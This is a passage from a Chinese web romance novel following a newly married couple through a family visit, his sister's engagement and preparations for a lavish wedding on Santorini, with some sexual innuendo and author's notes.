容微月对上傅蔺征浑坏的目光,面颊绯红,软声道:“睡得挺好的,都习惯。”
傅老爷子含笑点头:“那就好,天冷别着凉了,有什么需要和张妈说,你们俩孩子有空就在老宅多住几天,别着急回去。”
如今老爷子年纪大了,就喜欢孩子陪在身边,人多热闹。
容微月乖巧应下,霓映枝领他们去室内吃早餐,笑道:“月月之前说爱吃拇指小生煎,今早我就让厨师做了,还现磨了豆浆。”
“谢谢妈。”
傅蔺征手插兜,慵懒叹气:“现在是压根不管我了呗,我一个腰伤的病号都没人关心一下?”
霓映枝笑:“管你干什么,现在月月最重要,不过你沾她的光,生煎和豆浆也少不了你的。”
“行,感谢妈爱屋及乌。”
霓映枝和容微月被逗笑,坐到餐桌前,桌上还摆着东西,燕窝枸杞粥,豆沙小笼包,鲜蔬云吞,还有水果沙拉和糕点等等,霓映枝道:“不知道月月还想吃什么,厨房都多做了点。”
他们一直记得她海鲜过敏,所以最近桌上都没有海鲜,容微月都不好意思了:“谢谢妈,准备太多了……”
霓映枝笑摸摸她的头:“没事儿,慢慢吃,你这么瘦要多吃点,阿征,你跟着我来厨房拿生煎,保温在锅里。”
傅蔺征应下,跟着母亲走去厨房。
旁边没外人了,霓映枝把生煎装盘,看向傅蔺征,语气不重不轻开口:
“我看月月,有点黑眼圈啊。”
傅蔺征动作一顿,轻轻咳了声,“好像有一点,我让她下午补个觉。”
霓映枝幽幽看了他一眼,沉默几秒,忍不住嘱咐:“月月身体不好,大晚上你们还是要早点睡觉,别熬夜。”
傅蔺征揉了揉后颈,故作淡定道:“昂,昨晚睡得,挺早的。”
霓映枝抬眼看他:“那早晨也别醒那么早。”
大清晨五点多就开始打墙,他不睡,其他人就不用睡了?
傅蔺征:“……”
〓作者有话说〓
[眼镜][眼镜]霓妈妈:大清早装修,还让不让人睡觉了??
这儿子,真是没眼看了[眼镜]
傅蔺征:无所谓的,我本来就色
[狗头]
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第 65 章 “只想给我公主最好的婚礼。”...
第65章第六十五章
【“只想给我公主最好的婚礼。】
chapter65
老宅的隔音并不算差,但傅蔺征折腾出来的那点动静实在是太大了,怎么能瞒得住。
昨晚十一点多,霓映枝就听到了隔壁的声音,响了一个多小时,倒也是能理解,刚结婚的年轻小夫妻都是这样的,谁知道好不容易睡着了,今天早晨五点多,天刚蒙蒙亮,隔壁又传来了咚咚咚的动静,把她直接吵醒了。
昨晚到现在这才几点,霓映枝无奈翻了个身,身旁的傅司盛拍拍她的肩膀,揶揄:“正常,年轻人精力旺盛,咱俩当初不也是这样?
霓映枝:“……
霓映枝是担心容微的身体,此刻她把煎包端给傅蔺征,叹了口气:“家里买了一只老母鸡,中午给你和月月好好补补,月月身体不好,你这腰伤也刚好,可别让我又你俩炖草药了。
“……
傅蔺征把生煎包端出去,外头传来佣人的通报,有客人来了,霓映枝让两个孩子先吃早餐,她走去迎客。
傅蔺征坐到容微月旁边,小姑娘小口喝着豆浆,疑惑:“你和妈在说什么呀?聊了那么久。
傅蔺征揽住她,唇角慵懒扯起:“没说什么,我们声音太大被听到了,我妈让你注意点你的身体。
容微月:?她就知道呜呜呜……
昨晚床板的声响、撞墙的节奏,她和傅蔺征说的各样直白的话,还有她被逼得娇甜的哭腔,估计竭力压抑还是很明显,任谁听了都知道有多凶烈……
在禾盛庭时只有他们,向来无所顾忌,俩人放得很开,也根本静音不了。
容微月想到昨晚让傅蔺征“克制点,这人反而因为在老宅坏得更加变本加厉,体型的绝对压制,几乎要把她钉住,让她又娇又哭,缩在他怀里,口贲出来好多,每次都要颤好几分钟才能缓过来。
她整张脸跟放进蒸笼一样,红通通的,羞地嗔傅蔺征:“都怪你,我都不敢面对爸妈了呜呜,今天不理你了,不要和我说话。
傅蔺征笑得胸腔低震,轻声低哄:“我错了,我昨晚是没控制住,他们肯定能理解,而且看到我们感情好他们不是也放心?
这人真是坏**……
容微月气呼呼偏过脸,一动不动,傅蔺征笑着夹了个生煎放到她嘴边,“宝宝,张嘴。
小姑娘不动,却还是乖乖张嘴嚼着。
傅蔺征低笑,嗓音落在她耳畔:“你怎么那么可爱啊宝宝?说要不理我,叫你张嘴还是张嘴,叫你吃就吃下去。
她被他这话惹得莫名脸红,傲娇解释:“这是妈做的,我才吃
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,和你没关系……”
男人笑着待她吃完,又把豆浆拿过来:“来,再吸一口。”
她红唇翕动,咕嘟嘟喝着,脸颊鼓鼓的,像只小仓鼠。
“好吃么公主?”他问。
她眼尾压下笑意,软声哼:“一百分的生煎,因为你喂,扣成负分。”
傅蔺征真的要被她可爱**,他怎么能找了个这么甜的老婆,低哑笑:“扣成负分也没办法,老子就爱喂你。”
两人打情骂俏吃完一顿早晨,迟些时候,保姆把一袋东西提进来,是盛柳叫人送的。
打开一看是腰伤的膏药,还有海参、鹿茸、乌鸡等等格外滋补的药材。
上面有一张纸条:【月月,这是给你和阿征补身体的,特别是阿征,要让他多吃点。】
容微月忍不住笑,把纸条拿给傅蔺征,傅蔺征脸色当场就黑了。
容微月含笑揶揄:“看到了吗,我妈很疼你呢,昨天担心你虚弱,今天就给你送补品了。”
傅蔺征想到昨天她们母女俩的对话就来气,把她抓进怀里:“你还敢提?”
她澄澈的眸弯弯,如月亮掉入水中:“我妈也是为你好嘛,这不是怕你外强中干,空有一副健壮的皮囊。”
他额头突突跳,俯身要咬她:“容微月,你要不想现在再和我回房间就继续说。”
他要吓**,“我错了……”
“打电话去解释。”他箍住她的腰肢不放她走。
“解释什么?”
“解释老子身体很好,完全不虚。”
“我妈就是开玩笑嘛,”她弯眉垫脚在他耳边哄道,“我老公厉不厉害我自己知道,反正在我心里没人比得了,特别特别猛,我超级满意。”
傅蔺征压下唇角,把她拎起放到餐桌上,双掌锁腰,忍不住俯身气息炽烈落下封住她的唇。
窗外的日光轻盈漫过。
在无人的餐厅,两人甜蜜又绵缠。
又温存了会儿,小姑娘到底害羞怕人看到,不敢像在自己家一样自由,从桌子上跳下来,羞道:“傅蔺征,你别亲我了,我嘴巴都肿了……”
他混不吝:“嗯,你哪儿都是肿的。”
他还好意思说呢……
闹了会儿,俩人得知老爷子和霓映枝在后院招待客人,来的人是霓映枝好朋友的女儿和丈夫,带着小宝宝,还有几个平时玩得熟的阿姨们。
傅蔺征牵着容微月过去,快走到石亭时,后者有些紧张:“会不会打扰他们?”
傅蔺征无奈笑:“容微月,你是女主人,他们是客人,你会打扰什么?”
“唔……”
傅蔺征揽住她,柔声道;“要是尴尬我们坐一会儿就回房间,你要是想走就偷偷挠我掌心
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
我就知道了嗯?”
容微月眉眼弯弯心底涌上暖意。
傅蔺征总是会照顾她的小情绪。
到了石亭里头茶香氤氲阳光从瓦檐缝隙洒落其间傅老爷子坐在首位旁边是霓映枝和客人们。
几人是第一次见到容微月纷纷道喜:“哎呀这就是月月吧?**比照片还漂亮呢。”
“刚刚看俩人走来就觉得特别登对郎才女貌天作之合。”
容微月面颊红扑扑含笑和他们问好傅蔺征牵着容微月坐在石桌前霓映枝介绍:“月月这是戎雨我一个好朋友的女儿比你大两岁这是她老公。”
戎雨朝容微月莞尔颔首:“长这么大我还是第一次看到蔺征哥身边有女孩听说高中时候就是蔺征哥追你的。”
容微月酒窝点起和傅蔺征对视傅蔺征慵懒勾唇:“嗯一开始就是奔着追老婆去的。”
大家皆笑:“看来阿征是真的喜欢得不得了。”
有个中年女人笑:“阿征你爸妈去年可着急了多少人给他们介绍家里的千金啊你都不见。”
霓映枝淡笑无奈感叹:“我们当时不知道他心里还装着月月早知道他放不下我就催他赶紧把人家小姑娘追回来还等六年太没出息了。”
大家笑傅蔺征看向容微月嗓音压低:“我要早几年回去追你你答应么?”
“我也不知道……”
她笑眼乌浓小声耳语:“但是你要是死缠烂打点我可能会同意吧我最受不了你死缠烂打了。”
傅蔺征轻笑吊儿郎当道:“得早知道你吃这套路
她忍不住发笑握住他的手说才不要:“你这样就不是意气风发的傅大少爷了当初是我做得不对你那样我看了也很难受。”
她爱他所以也不希望他失去自尊。
她看向他柔声言:“还好六年过去了我们最后还是走在一起了。”
傅蔺征握住她的手“嗯。”
他们都以更好的自己遇见对方结局仍旧美好。
几人又聊了会儿天傅蔺征带着容微月和那对年轻夫妇走下亭子闲聊不远处一个小男孩跑来扑到戎雨怀中用甜甜的小奶音叫妈妈。
戎雨说孩子两周岁了小朋友和容微月傅蔺征问好容微月笑笑摸摸他的头。
小男孩又跑走戎雨夫妇去护着容微月笑意妍妍对傅蔺征道:“感觉小孩子好可爱啊。”
傅蔺征垂眼看她“真这么想要孩子啊?”
她羞红
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
脸,“我就是有感而发,怀孕哪就那么容易了,好多人都怀不上,之前绿绿就和我说他们办公室有个老师都备孕两年了还没成功。”
“主要看双方身体,我们俩身体没问题,”傅蔺征懒洋洋声音只有她耳边听到,“老子要没戴,在你里面都she了几百次了,你早就有了。”
“……”她脸颊酡红嗔他,“傅蔺征你能不能别这么口无遮拦?”
男人笑着把她揽过来,气息在她耳边若有若无:
“怎么,我说的不是实话?”
容微月脸热,他们婚后次数的确很多,抽屉仓库都补货了好几次,而且傅蔺征每次做除非时间有限,两次是打底,因为一次对他来说根本不够,有的时候晚上结束了,清晨还会再拉她做一次早操。
工作日稍微克制点,周末更是放纵,一日少食多餐,家里影音厅、书房、游戏厅、阳台等等,都被他开发过。
最近她会在手机上记录经期,如果哪天有炒菜,她就顺手标个粉色小爱心,谁知道一个月下来,除了经期那几天,几乎满屏都是粉色的,每次她看到都好羞。
容微月面容桃红打他,“不和你聊了……”
小兔子甩开他的手逃走,他眼底泛开笑意。
-
早晨和客人们聊了会儿天,中午饭后,两人去老宅后院的那边花园逛逛,冬日阳光暖融融洒下来,竹影斑驳,傅蔺征搂着她,步调悠闲。
傅蔺征的腰伤彻底好后,工作在年前也顺利结束,而在年尾之前,发生了一件大事——就是傅蔺征和霓音得知,妹妹霓音要结婚了。
而结婚对象,就是京城贺家的长子,矜冷的贵公子贺行屿。
结婚是贺行屿提的,甚至不知道是什么时候和霓音提的,傅蔺征原本还以为自家妹妹和宋詹分手后,能在家里多待几年,谁知道没出几个月,一个大灰狼直接叼走了。
那天傅蔺征刚好去国外训练,贺行屿组织了饭局,容微月和夏千棠被邀请过去,也提前知道了这件事,霓音忐忑问:“嫂嫂,你觉得我哥会生气吗?他好像是最迟知道的那个……”
容微月抿了抿红唇,柔声笑:“你哥那脾气,不生气很困难,但估计更多是对贺行屿的。”
“呜呜那我完了,四哥怎么办……”
她就是觉得可以和贺行屿试试嘛,反正这是他青梅竹马的哥哥。
贺行屿给霓音喂了个蛋糕,低声淡笑:“没事,我向你哥赔罪,他生气了你就往我后面躲。”
“那他也会打你的,我哥发起火来很凶的。”
沙发对面,夏千棠看热闹不嫌事大的笑,夏斯礼宽慰霓音:“音音妹妹,放心不至于,没看到你嫂嫂在吗?那狗
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再发疯狗绳在微月手里拴着呢!傅蔺征还能上天?!”
“哈哈哈哈……”
容微月淡笑:“音音别担心我会帮你劝着的。”
一个小时后傅蔺征来了知道了这件事果不其然宇宙大**了他没想到贺行屿一个平日里冷情冷欲没有爱情细胞的竟然默不作声拐走了他妹他还是最后一个被通知者。
“贺行屿你真行啊我把你当兄弟你竟然想当我妹夫!”
傅大少爷气得走去阳台几人笑着哄了好久贺行屿也找他单独谈话不知道聊了什么霓音也乖乖出去认错撒娇。
末了傅蔺征气消了点回到室内霓音偷偷看向容微月表示求助容微月含笑去找沙发上的傅蔺征软声问:“傅蔺征你还有点生气啊?”
傅蔺征轻嗤“他俩这样我能不气?我这个大舅哥算什么?”
“算电灯泡啊。”
“?”
容微月笑着忙道:“其实也能理解嘛刚开始贺行屿没把事情定下来的时候没和你说是不想给音音压力也怕万一没成了你们兄弟之间也尴尬就像当初你重逢时还喜欢我不是也只有夏斯礼和棠棠知道么?可能对他们来说这是一件很重要、需要独自冷静思考的事。”
容微月指尖捏着一颗车厘子喂他柔声哄:“但是呢我特别理解你呀你会生气是因为在意音音嘛要是换成我我也会难受的只是他们不该瞒你那么久我刚才已经批评过啦。”
她眨眨眼嗓音柔柔软软:“以后就靠你这个大舅哥监督他们了让贺行屿必须对音音超级超级好。”
傅蔺征偏头看向她眼底冷意微化容微月眸色澄亮弯眉软声道:“你别生气了好不好?你这样生气我心情都忐忑了我都不敢好好吃饭了……”
她一身流苏长裙头发挽起几缕碎发垂在耳边
傅蔺征看到她心底的火就浇灭了揉了揉她耳垂:“我什么时候凶你了你还不好好吃饭?”
“但是你开心我才开心呀我家阿征最大人有大量了是不是?”
傅蔺征压下唇角“当然。”
容微月笑“那不生气了哦我们去吃饭你看贺行屿不爽你就灌他酒你可以喝得过他吗?”
“昂今晚高低把他喝趴下。”
“哇那你好棒哦……”
见此夏家兄妹和霓音对视一眼纷纷震惊地竖起大拇指。
**牛逼!微月也太会训狗了吧!!!!!这是直接分分钟拿捏啊!!!
就这样在容微月的花式哄下大狗狗瞬间被顺**了气也没了其实他到底也是想见此看看贺
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行屿和霓音对这段感情的态度,见俩人都很坚定,尤其是贺行屿,也放了心。
一顿饭下来,几人用餐愉快,结束时贺行屿把霓音留下来说送她回去,夏家兄妹和傅蔺征、容微月下楼,到停车场两方道别分开。
等着司机,傅蔺征低头看容微月,“容微月,我才反应过来,今晚你是当他们的说客吧?”
容微月弯眉,“我是从客观角度说嘛,帮理不帮亲。”
傅蔺征轻嗤:“你也比我早知道,还和他们瞒着我?老子还没收拾你。”
她扬起眸子看他,“你要怎么收拾?”
傅蔺征揽住她腰肢,压低声音道:“家里没货了,套买了在车里,今晚连着前几天一起补上。”
她心跳如鼓,揶揄:“你喝酒了还能做?有力气吗?”
男人挑唇:“有没有力气,你等会儿就知道了。”
这人坏蛋,她当个说客,最后怎么还欺负到她头上了……
时间悠然往前,到年底,容微月也把工作室的工作收了尾,给每个员工都包了个丰厚的过年红包,感谢大家一年的辛苦。
今年春节对她来说也是意义非凡,这是她和傅蔺征婚后的第一次春节。
除夕夜,傅、容、贺三家在一起聚餐,热闹非凡,圆桌上灯光融融,笑语盈盈。
容微月抬眼望着,家人、朋友、爱人都在。
那一刻她忽然觉得,所谓幸福,大概就是此刻的模样吧。
正月时,傅蔺征和容微月带上呼呼一起去河市的海边别墅小住几天,白天在海边散步,傍晚可以在码头吃些她能吃的鱼和贝壳类海鲜,晚上俩人在客厅边聊天边看星星,听海浪。
之后俩人又飞去国外度假,这次去国外不单单是旅游,还有个重大任务,拍摄婚纱照。
两家人早在年前就把婚礼时间定下来,是今年的六月初,地点在希腊的圣托里尼岛。
因为容微月喜欢海边,那时候希腊天高气爽,看潮汐和月亮都是气候最适宜的,穿婚纱也很舒服。
婚礼筹备期仅半年,一切都紧锣密鼓进行着,世界顶级的婚纱照团队全程随行,俩人先到瑞士的圣莫里茨拍雪原,再去到法国巴黎的罗浮宫前取景,而后还去到蒙特卡洛和迪拜,最后再去到日本京都。
每个地方都是不同的风格,最后一组蓝天碧海下的梦幻风,是等去希腊的时候再拍摄。
回来京市已经是正月十五之后,晴月阁开工了,而傅蔺征今**业主要放在后半年,上半年他有意减少工作量,把更多精力投入在婚礼的筹备中。
傅蔺征聘请了全球顶尖的婚礼策划团队,团队百来号人先是飞来京市,和他们对婚礼沟通出来初步方案
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后再跟
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着傅蔺征飞往圣托里尼岛。
实地考察规划又和希腊当地政府洽谈封岛的事宜傅蔺征亲自参与大方向决策确保每一环节的顺利开展。
到时候婚礼开始前岛屿会暂时对普通游客关闭只有受邀的宾客才能上岛圣托里尼会被改造成一座隔绝尘嚣的梦幻之地。
傅蔺征包下了整片的悬崖酒店群布置成统一的纯白和潮汐蓝交织的婚礼风格又搭建婚礼舞台搭建直升机停机坪修建好豪华游轮的停泊点调来最好的音响灯光团队和乐团。
花艺、布景、无人机、烟花、餐饮等团队也在各自筹备着单单这些大块的预算已经逼近十亿。
这场顶奢婚礼的消息传出瞬间引爆全网有媒体拍到傅蔺征多次出入圣托里尼岛采访他对于这场婚礼花费的预算是多少傅蔺征淡然道:
“没有上限一辈子就一次的婚礼还需要考虑上限么?我只想给我家公主最好的。”
傅蔺征又补充道:“不过大家不用模仿我量力而行婚礼最重要的是那个和你携手的人这些都是衬托。”
网友们道:【谢谢不用担心没想模仿压根模仿不了[狗头]】
【哈哈哈哈傅蔺征是真的爱老婆啊有钱人很多但舍得“无上限”的有几个这是真宠啊。】
【只想给公主最好的呜呜呜傅蔺征纯爱战神!】
【征哥三观好正婚礼最重要的是人他花这么多钱不是为了炫富而是他本来就觉得值得并且拿出来就像你口袋里有一百块你会因为今天花了一块钱而沾沾自喜或者肉痛吗?】
【点了有钱人的世界想象不到又是磕到的一天祝征月cp婚礼顺利!!】
大家都很期待这次婚礼身为当事人的容微月也同样如此工作室招人换新设备后各项事宜正轨她也可以安心备婚了。
一开始就是婚纱团队来给她量身定制婚纱一共有十来套不同风格的最重点的就是纯白主婚纱。
许多人量完尺寸就要克制体重而她则是被婚纱设计师要求再多吃一点这样穿上去能更显婀娜窈窕。
如今在他的细心照料下容微月的身体好起来了失眠也彻底痊愈了。
两方家庭一起筹备容微月决定大方向就比如“喜不喜欢”“好不好”“要不要”具体的实施计划由傅蔺征去推进。
他每次都会问她的想法和建议有时候她也担心费用会不会太贵傅蔺征揉揉她的头揶揄:“宝宝人家都是想着怎么榨干老公你还替我省钱?”
她努努嘴:“那结婚了
傅
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蔺征勾唇亲她“放心不用省这点钱我们家又不缺唯一的原则就是你喜欢就行。”
容微月听着心底烘热拗不过也随他安排这婚礼不单单是她的也是他的如果傅蔺征的快乐是她可以满意那她也愿意跟他奢华浪漫一把。
时间由春入夏过得飞快。
由夫妇俩人亲笔书写的婚礼请帖也派送到亲朋好友手上每一位宾客的机票、住宿、接送与餐饮全包只需到岛上尽情享受这场旅行。
高中班上许多同学都被邀请了大家都被这大手笔震撼了激动说还得是征爷:
“猜到这俩人的这排场很大没想到这排场这么大!”
“这是真壕啊结个婚能包岛征爷太牛了!”
傅蔺征说感谢大家见证他和微月的感情许多朋友甚至把年假都调来了
婚礼前半个月两方家长提前飞去了圣托里尼协助筹备这次婚礼容家也出资许多也想让女儿风风光光出嫁。
婚礼一周前新婚小夫妻也上了岛流程彩排婚纱试穿婚纱照拍摄菜品试吃仍旧忙得如火如荼。
前一天好朋友们陆续抵达夏家兄妹、殷绿、湖安、付家兄妹还有霓音与贺行屿大家先热闹热闹。
晚上他们在酒店一别墅开了个单身派对过了会儿五个女孩就说自己去唱歌不和他们这些臭男人一起只要姐妹局。
于是几个女孩子们上楼去唱歌沙发上五个男人坐着夏斯礼拍着傅蔺征肩膀绷不住笑:
“阿征你好可怜啊看来微月还是很享受单身的嘛把你也抛弃了。”
付则承勾唇:“谁让这人平时太黏人这回终于被嫌弃了。”
湖安憨笑:“没想到阿征也有今天。”
傅蔺征靠在沙发上懒洋洋轻嗤:“你们一个个连老婆都没有的人幸灾乐祸什么?夏斯礼你有老婆么?付则承你有么?湖安你娶到殷绿了么?”
几人笑着想把酒扔他身上傅蔺征看向贺行屿后者长腿交叠修长指节晃着酒杯慢条斯理道:
“别提我我有老婆。”
傅蔺征眯眼睨他:“贺行屿把我妹费尽心机拐跑还给你嘚瑟上了?谁有你腹黑?”
贺行屿似笑非笑:“腹黑又如何结果我就是有。”
“……”
傅蔺征道:“那也是你费劲千辛万苦主动求来的我呢是月月先提的结婚。”
另外几人:这事都讲了二十几遍了还在讲!!
“傅蔺征你够了月月主动求婚这件事你能唠一辈子。”
“他能嘚瑟一辈子半夜笑醒的那种。”
“微月要是能穿越回去估
你的朋友正在书荒,快去帮帮他吧
计都想给自己一捶,铁定才不追去机场找他,让他抓狂去。”
傅蔺征摇晃着手中的威士忌:“这样吧,今天我心情好,身为我们当中最早结婚的已婚人士,给你们上一堂辅导课,叫《如何追老婆》,不多收,一人888,转过来就教。”
夏斯礼当场举起个人收款码:“我准备好了,阿征,来吧。”
付则承也配合着伸过去:“对,也给我扫过来吧。”
傅蔺征:……?
他笑着踹过去,“滚,老子上课还得给你们钱?”
几人笑,说这人尾巴已经翘上天了,不能再让他再嘚瑟了,但见傅蔺征憋不住了,大家还是配合他,让他说几句,傅蔺征慵懒开口:
“行吧,先给你们试听一堂课,最重要的一步,也是最有用的方法,就是要学会适当的示弱,别老摆着一副刀枪不入的架子,女孩子对喜欢的人都有保护欲,你偶尔装可怜点,她肯定会心疼的,恨不得立刻扑过来哄你,我这招对月月,百试不爽。”
湖安震惊:“这样也行啊?我以为都是要坚强点保护女孩。”
傅蔺征轻啧:“以退为进没听过?湖安,你的层次还是不够。”
一旁的贺行屿眉梢微动,松了松领带,淡声反问:“大概什么时候可以示弱?怎样示弱对方能不反感,在什么角度示弱?”
傅蔺征睨他:“你让我毕业答辩呢?这么求知若渴,问题还挺多。”
夏斯礼绷不住笑:“傅蔺征,看不出来你还会用这一招,你平时不是最会逞强了?嘴巴能当防弹衣。”
“招数要与时俱进,懂?”
说罢,傅蔺征把威士忌放在茶几上,悠然拿出手机:“算了,光说没用,我现场给你们演示一下吧,你们一看就懂了。”
几人起哄:“来来来,你现场教学下!”
而后傅蔺征给容微月拨去电话,那头接通,楼上正在唱歌,周围很嘈杂,容微月问:“喂,怎么啦?”
傅蔺征语调低柔亲昵:“宝宝,我在一楼,你能不能下来一趟。”
“怎么了?”
傅蔺征叹气:“就是突然感觉好累,不知道为什么,可能这几天忙婚礼忙到腰酸背痛的,现在喝了酒,身上更难受了,宝宝,你有时间下来看看我么,没时间就算了,我就一个人就疼着呗,不用关心我。”
那头小姑娘闻言,先接过话筒忙嚎了一嗓子,哦了声,软乎乎道:“好吧,那我就不关心你啦,你一个人先慢慢疼着,哭了就自己擦眼泪,别吵我哦。”
傅蔺征:“………?”
〓作者有话说〓
阿征:我要逃婚!逃婚![爆哭][爆哭][开玩笑]
装绿茶终究是长久不来的[眼镜][眼镜]
谁懂我笑**,贺行屿是最认真学的那个
贺总:谈恋爱还需要用这招?[眼镜]
-
266个随机红包,明天不更新~~后天更新在十二点!!
第 66 章 “我终于能以先生的名义亲吻到你了...
第66章第六十六章
【“我终于能以先生的名义亲吻到你了。”】
chapter66
傅蔺征还想说什么下一刻那头小姑娘果断挂了电话。
傅蔺征:“……”
一旁夏斯礼、湖安和付则承听到这通话随后忍不住爆笑出声:
“阿征说好的心疼呢?说好的扑到你怀里呢?卖家秀和买家秀不一样退钱哈哈哈!”
“傅蔺征你的苦肉计翻车得也太惨烈了婚礼前一天你老婆不管你了!”
“我估计是这人苦肉计用太多微月已经免疫了。”
三人发出无情嘲笑就连贺行屿唇角也勾起淡淡的弧度。
傅蔺征脸黑给他们丢去眼刀子轻嗤:“笑个屁月月没下来找我是因为朋友在身边她不好抛下她们光明正大重色轻友我也没强求体贴老婆才是第一位懂?”
傅蔺征努力找补的样子太好笑了湖安憋笑:“懂懂懂傅大少爷您说什么都是对的。”
夏斯礼挑眉:“各位啊我觉得要是阿屿打电话给音音音音肯定会下来。”
傅蔺征嗤笑:“就我妹那个性格?她玩得正嗨的时候天王老子来了都不理。”
夏斯礼起哄:“阿屿你打一个!打给这人看!”
贺行屿转头挑眼看向傅蔺征傅蔺征把玩着手机慵懒轻嗤:“打呗
贺行屿唇角抿下打出电话开了免提那头接起霓音甜软的嗓音传来:“老公怎么啦?”
贺行屿轻咳几声嗓音低沉柔和试图组织语言:“音音不知道怎么回事我身体有些不舒服。”
傅蔺征:呵瞧着语句生硬的太假!
然而电话那头霓音听到这话立刻紧张起来:“啊?哪里不舒服?你在哪儿?”
“我在一楼。”
“你等等呀我马上下楼来找你!”
贺行屿敛眸宠溺一笑:“好不急。”
傅蔺征:????
嗯??????
挂了电话贺行屿掀起眼皮看向傅蔺征唇角弧度淡淡:“哥没办法你也看到了你妹妹很疼我。”
傅蔺征:“……”
周围三个已经笑得前仰后合直拍大腿了夏斯礼差点被红酒呛到:“同样都是老公啊同样都是身体不舒服啊一个老婆弃之不理一个老婆飞奔而来怎么不同的人待遇的差距就那么大捏!!”
傅蔺征脸色彻底黑透把沙发抱枕丢过去:“夏斯礼你搞得像你老婆来了似的你激动什么?”
“没有我看你吃瘪我就开心哈哈哈。”
很快霓音小跑下
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楼,出现在几人视野,她冲到贺行屿面前:“四哥,你没事吧?”
贺行屿把她拉过入怀中,低柔笑:“你出现就好多了。”
“到底哪儿不舒服呀……”
两人甜蜜得腻歪,几人轻啧感叹,夏斯礼憋笑看向傅蔺征:“阿征,我觉得刚刚应该让你先给音音打个电话的,说不定你说不舒服,你妹也不管呢?那才叫亲哥还不如老公哈哈哈。”
傅蔺征冷眼摩挲着酒杯:“夏斯礼,你信不信我现在开直升机直接给你送出岛?”
“把我送走了谁当你婚礼司仪啊?!”
傅蔺征无语转头问霓音:“你嫂子呢?她在楼上干什么?”
霓音弯眉:“她在唱歌呀,她一边喝酒一边唱歌,唱得可开心了。”
“……她不知道我身体不舒服?刚刚我给她打电话,管都不带管的。”
霓音笑笑:“嫂嫂说你肯定是装的,一天到晚就是那几套小花招,她才不上当呢,我也感觉你是骗人的。”
?
傅蔺征气笑:“怎么的,那贺行屿装的你没看出来?他演技难道不比我拙劣?”
“就算是假的也没事,我就是想找四哥呀。”霓音笑着靠近贺行屿肩头。
傅蔺征:“……”
付则承:“说白了,就是感情问题。”
几人爆笑,而后贺行屿搂着霓音起身,悠然提起唇角:“你们聊吧,我带音音先回房了,她晚上要早点睡。”
傅蔺征:?这人拐了老婆就跑,是回去睡觉吗!
俩人走后,过了会儿,楼上的姐妹局也结束了。
傅蔺征接到消息,上楼就看到容微月窝沙发上,怀里抱着个空酒瓶,白皙如雪的面颊红扑扑的,一双琥珀眸子湿漉漉的,眉眼弯弯,嘴里还在哼着跑调的小曲。
傅蔺征走过去,半蹲在她面前,摸摸她脸,语气无奈宠溺:“宝宝,你这是又喝了多少酒啊?我一不管你就放飞自我是吧?”
容微月看到他,眼睛弯成一条缝,抬手圈住他脖子,“老公——”
傅蔺征勾起唇角将她搂紧,小姑娘脑袋蹭蹭他颈窝,软糯糯道:“我就喝了一瓶鸡尾酒和一瓶啤酒,不多哦……”
傅蔺征笑着揉揉她头,“你自己什么酒量不知道?”
“怎么,你酒量很好吗?”
傅蔺征:“我能把三十个你喝趴下,你信不信?”
“哇,那你好厉害噢……”
傅蔺征把她抱起来,说带她先回去休息,殷绿忙应下让他们先走,两人下楼,容微月下巴靠在他肩头,懵懵然问:
“对了音音呢,她走了吗?刚才她说贺行屿身体不舒服就下楼了,他们先走了?”
一提这茬,傅蔺征就来气,惩
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
罚似的咬了下她耳垂,嗓音沉沉:“你好意思问?贺行屿不舒服,音音转头就下楼了,老子给你打电话,你让我一个人先疼着?容微月你怎么这么没良心啊?”
小姑娘笑眼澄亮,抱紧他脖子:“那我感觉你是骗我的嘛,我就没有下去。”
“贺行屿也是假的,音音不是下楼了?”
“那我估计贺行屿肯定平时很少这么骗音音,你平时三番两次说你这里疼了那里疼了,需要揉需要抱需要那啥,就知道欺负我,我这是狼来了……”
傅蔺征笑捏她脸:“那万一我真疼呢?有万分之一的概率你也得管我,知不知道老子今晚被夏斯礼他们嘲笑了一个晚上。”
走到这几天俩人住的套房,关门进去,小姑娘被放到床上,软声道:“我喝醉了,我喝醉了就晕乎乎的哦,不是故意不管你的。”
“刚刚还说自己没多喝,现在就说喝醉了?”蔺征俯身靠近,声线低哑。
她主动吻上来,傅蔺征扣住她的腰,立刻反客为主夺走她的呼吸,酒精伴随着她的甜味蔓延在他唇中,傅蔺征哑声气息泻出:“反正我都记着,看明晚老子怎么收拾你。”
前几天小姑娘生理期来了,今天已经走得差不多了,刚好俩人这周“轻断食”素一素,来希腊后,傅蔺征虽然没训练了,但是开始各种食补加练腿练腰,一点也没马虎。
容微月想象到明晚新婚夜的阵仗都害怕。
她面颊薄红,“你太坏了……”
傅蔺征把她吻得七荤八素,指腹摩挲她唇瓣,野痞勾唇:“本来就很坏,结婚了你还想逃?”
容微月酒窝点起,看向他:
“不逃,都是你的。”
后来傅蔺征抱着喝醉的她去洗漱休息。
第二天早晨,最后一批宾客们也陆续到达圣托里尼,这次来的有双方的亲朋好友,还有世界各地的名流富商,大家先是飞来雅典的米克诺斯,然后再由傅蔺征安排的直升机接送上岛。
潮涨潮落,朝夕交替,初夏的圣托里尼,在阳光与海风中,终于迎来了这场筹备半年之久的世纪婚礼。
婚礼当天,整座圣托里尼岛对外关闭,海岸线封锁,天空澄净碧蓝得像一面镜子,几朵轻盈的棉花云漂浮在天际,阳光洒在火山湾的海面上,浪花拍打岩壁,水珠在空气中折射出碎银般的光线。
海风吹拂,悬崖之上,独属于圣托里尼岛风格的白房蓝顶被各样的玫瑰装饰,层层叠叠,美如画卷。
一大早,几百人的团队便紧锣密鼓投入各环节,容微月和傅蔺征醒来用过早餐后,容微月和殷绿、夏千棠、霓音、舒槿四位伴娘拍晨袍,新郎官那边则是和夏斯礼、湖安、付则承和
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
贺行屿组成的伴郎团拍照,最后两方再合照。
之后是与家人合影,再是两大家族的合照,而后午宴是在酒店的海景草坪举办,下午休息完毕,容微月也换上了今天的主婚纱。
这件婚纱是傅蔺征为她找人定制,出自世界顶级的婚纱设计师之手,团队耗时三千小时纯手工缝制,全世界独此一件,名为Moon&Tide,月之潮汐。
婚纱通体以月白色为主,法国真丝绸缎与意大利手工蕾丝叠织,轻盈却立体,抹胸胸口是弯月曲线,后背露出曼妙的蝴蝶骨,后银丝和钻石刺绣成月亮弧形,薄薄的纯白头纱垂在身后,如一层朦胧的云雾环绕。
